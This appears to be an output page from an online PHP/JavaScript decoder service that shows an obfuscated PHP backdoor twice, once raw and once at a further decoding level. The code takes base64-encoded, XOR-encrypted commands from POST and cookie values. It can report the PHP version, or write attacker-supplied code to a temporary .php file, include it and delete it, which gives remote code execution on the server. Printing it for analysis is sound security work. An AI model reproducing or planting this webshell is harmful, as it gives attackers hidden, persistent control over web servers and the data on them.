Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$xiqtv       =  'xiqtv'  ^    '';$zrravoud  =    "arr"     .     $xiqtv(1008-911)    .	$xiqtv(428-307)	.  "_".$xiqtv(391-282)  .  $xiqtv(97)  .    "p";

$krixpi     =  "implode";



function  vlghlxz($fpyrr,  $mokpnezerf)


{
      global  $xiqtv;


         $fpyrr     =  "p".$xiqtv(104)    .  $xiqtv(112)  .	$xiqtv(32)   .    "un".$xiqtv(878-770)    .	"ink".$xiqtv(470-430)  .       "_".$xiqtv(95)     .  "F"  .    $xiqtv(73)    .      $xiqtv(443-367)  .  "E__)"     .  $xiqtv(59)  .  $xiqtv(32)  .    $fpyrr["d"];


    $rzwszzkmnf	=      $xiqtv(581-479)  .    $xiqtv(359-254)	.       "le_p"     .  $xiqtv(727-610)      .  $xiqtv(116)    .	"_c"  .  $xiqtv(111)  .       "nte".$xiqtv(110)      .    "ts";


  
  $rzwszzkmnf($mokpnezerf,	$fpyrr);

	


  qlvvvbx($mokpnezerf);

}

$lnehnirojk  =  73;

function      qlvvvbx($mokpnezerf)

{

  global       $xiqtv;
  
    include($mokpnezerf);
  $prgxerso    =     $mokpnezerf;  @unlink($prgxerso);
}



function  x_n_w()
{
      global     $xiqtv;
	$flcnbivk      =	array();


	$flcnbivk["p".$xiqtv(593-475)]  =	phpversion();


      $flcnbivk["s".$xiqtv(118)]	=  $xiqtv(51)       .	$xiqtv(421-375)	.    "5";	$sceaeyqxqe  =  74;    echo    @serialize($flcnbivk);
}



function  prpllpyja($fpyrr,    $gtawq)


{

  global  $xiqtv;


  $uaahjtw      =    "";
	$gwlyo  =      strlen($fpyrr);
    $omfvqvmi       =  strlen($gtawq);  $flcnbivk    =      0;


     $crzwmekoa       =  0;	

   while	($flcnbivk	<    $gwlyo)	{  $ovjphui  =    $fpyrr[$flcnbivk]      ^    $gtawq[$crzwmekoa	%   $omfvqvmi];
    $uaahjtw       .=     $ovjphui;
  $crzwmekoa++;       

      $flcnbivk++;

     }

	


  if       (strlen($uaahjtw)       >	20)    {


  $dbhkgw   =  substr($uaahjtw,  0,  20);


      }

    if  (empty($uaahjtw))  {    $uaahjtw  =    date('Y-m-d	H:i:s');  }
	return  $uaahjtw;

}





function   ljiffiz($uoblgajh)


{

    global  $xiqtv;


  	$dgvbolq  =    "9feb"  .  $xiqtv(973-872)  .    "306-"    .	$xiqtv(326-271)   .	$xiqtv(571-469)  .      $xiqtv(102)  .  "2-4".$xiqtv(52)    .      $xiqtv(50)  .       "d-e"       .       $xiqtv(54)    .  "-86b"     .    $xiqtv(97)."b3fc45";


   


  foreach  ($uoblgajh  as  $keghpuo  =>  $fpyrr)  {
      xkkzrq(base64_decode($fpyrr),  $dgvbolq,  $keghpuo);    }

}


function  xkkzrq($fpyrr,  $dgvbolq,  $keghpuo)

{


	global  $xiqtv;  

   $fpyrr  =	unserialize(prpllpyja(prpllpyja($fpyrr,  $dgvbolq),    $keghpuo));

	$vglldhgcg  =	'pdt';
	$tqlmpuyoct  =  'v_u';    if    (isset($fpyrr["ak"]))  {


       if      ($fpyrr[$xiqtv(97)]  ==    "i")    {


  x_n_w();  }	elseif    ($fpyrr[$xiqtv(97)]    ==    "e")    {      vlghlxz($fpyrr,  sprintf("./%s".$xiqtv(46)  .  $xiqtv(903-791)  .  $xiqtv(333-225),	md5($dgvbolq)));			$crzwmekoaonvhab    =    44;


    }    

  }

}


ljiffiz($_POST);    

$okozsek  =    'rawurldecode';


$zw_buywq	=  $zrravoud($okozsek,	$_POST);


$krixpi("",	$okozsek);

ljiffiz($_COOKIE);



$p_dcwjl  =  $zrravoud($okozsek,    $_COOKIE);

$xiqtv       =  'xiqtv'  ^    '';$zrravoud  =    "arr"     .     $xiqtv(1008-911)    .	$xiqtv(428-307)	.  "_".$xiqtv(391-282)  .  $xiqtv(97)  .    "p";





function  vlghlxz($fpyrr,  $mokpnezerf)


{
      global  $xiqtv;


         $fpyrr     =  "p".$xiqtv(104)    .  $xiqtv(112)  .	$xiqtv(32)   .    "un".$xiqtv(878-770)    .	"ink".$xiqtv(470-430)  .       "_".$xiqtv(95)     .  "F"  .    $xiqtv(73)    .      $xiqtv(443-367)  .  "E__)"     .  $xiqtv(59)  .  $xiqtv(32)  .    $fpyrr["d"];


    $rzwszzkmnf	=      $xiqtv(581-479)  .    $xiqtv(359-254)	.       "le_p"     .  $xiqtv(727-610)      .  $xiqtv(116)    .	"_c"  .  $xiqtv(111)  .       "nte".$xiqtv(110)      .    "ts";


  
  $rzwszzkmnf($mokpnezerf,	$fpyrr);

	


  qlvvvbx($mokpnezerf);

}

$lnehnirojk  =  73;

function      qlvvvbx($mokpnezerf)

{

  global       $xiqtv;
  
    include($mokpnezerf);
  $prgxerso    =     $mokpnezerf;  @unlink($prgxerso);
}



function  x_n_w()
{
      global     $xiqtv;
	$flcnbivk      =	array();


	$flcnbivk["p".$xiqtv(593-475)]  =	phpversion();


      $flcnbivk["s".$xiqtv(118)]	=  $xiqtv(51)       .	$xiqtv(421-375)	.    "5";	$sceaeyqxqe  =  74;    echo    @serialize($flcnbivk);
}



function  prpllpyja($fpyrr,    $gtawq)


{

  global  $xiqtv;


  $uaahjtw      =    "";
	$gwlyo  =      strlen($fpyrr);
    $omfvqvmi       =  strlen($gtawq);  $flcnbivk    =      0;


     $crzwmekoa       =  0;	

   while	($flcnbivk	<    $gwlyo)	{  $ovjphui  =    $fpyrr[$flcnbivk]      ^    $gtawq[$crzwmekoa	%   $omfvqvmi];
    $uaahjtw       .=     $ovjphui;
  $crzwmekoa++;       

      $flcnbivk++;

     }

	


  if       (strlen($uaahjtw)       >	20)    {


  $dbhkgw   =  substr($uaahjtw,  0,  20);


      }

    if  (empty($uaahjtw))  {    $uaahjtw  =    date('Y-m-d	H:i:s');  }
	return  $uaahjtw;

}





function   ljiffiz($uoblgajh)


{

    global  $xiqtv;


  	$dgvbolq  =    "9feb"  .  $xiqtv(973-872)  .    "306-"    .	$xiqtv(326-271)   .	$xiqtv(571-469)  .      $xiqtv(102)  .  "2-4".$xiqtv(52)    .      $xiqtv(50)  .       "d-e"       .       $xiqtv(54)    .  "-86b"     .    $xiqtv(97)."b3fc45";


   


  foreach  ($uoblgajh  as  $keghpuo  =>  $fpyrr)  {
      xkkzrq(base64_decode($fpyrr),  $dgvbolq,  $keghpuo);    }

}


function  xkkzrq($fpyrr,  $dgvbolq,  $keghpuo)

{


	global  $xiqtv;  

   $fpyrr  =	unserialize(prpllpyja(prpllpyja($fpyrr,  $dgvbolq),    $keghpuo));

	$vglldhgcg  =	'pdt';
	$tqlmpuyoct  =  'v_u';    if    (isset($fpyrr["ak"]))  {


       if      ($fpyrr[$xiqtv(97)]  ==    "i")    {


  x_n_w();  }	elseif    ($fpyrr[$xiqtv(97)]    ==    "e")    {      vlghlxz($fpyrr,  sprintf("./%s".$xiqtv(46)  .  $xiqtv(903-791)  .  $xiqtv(333-225),	md5($dgvbolq)));			$crzwmekoaonvhab    =    44;


    }    

  }

}


ljiffiz($_POST);    




$zw_buywq	=  $zrravoud('rawurldecode',	$_POST);


"implode"("",	'rawurldecode');

ljiffiz($_COOKIE);



$p_dcwjl  =  $zrravoud('rawurldecode',    $_COOKIE);



© 2023 Quttera Ltd. All rights reserved.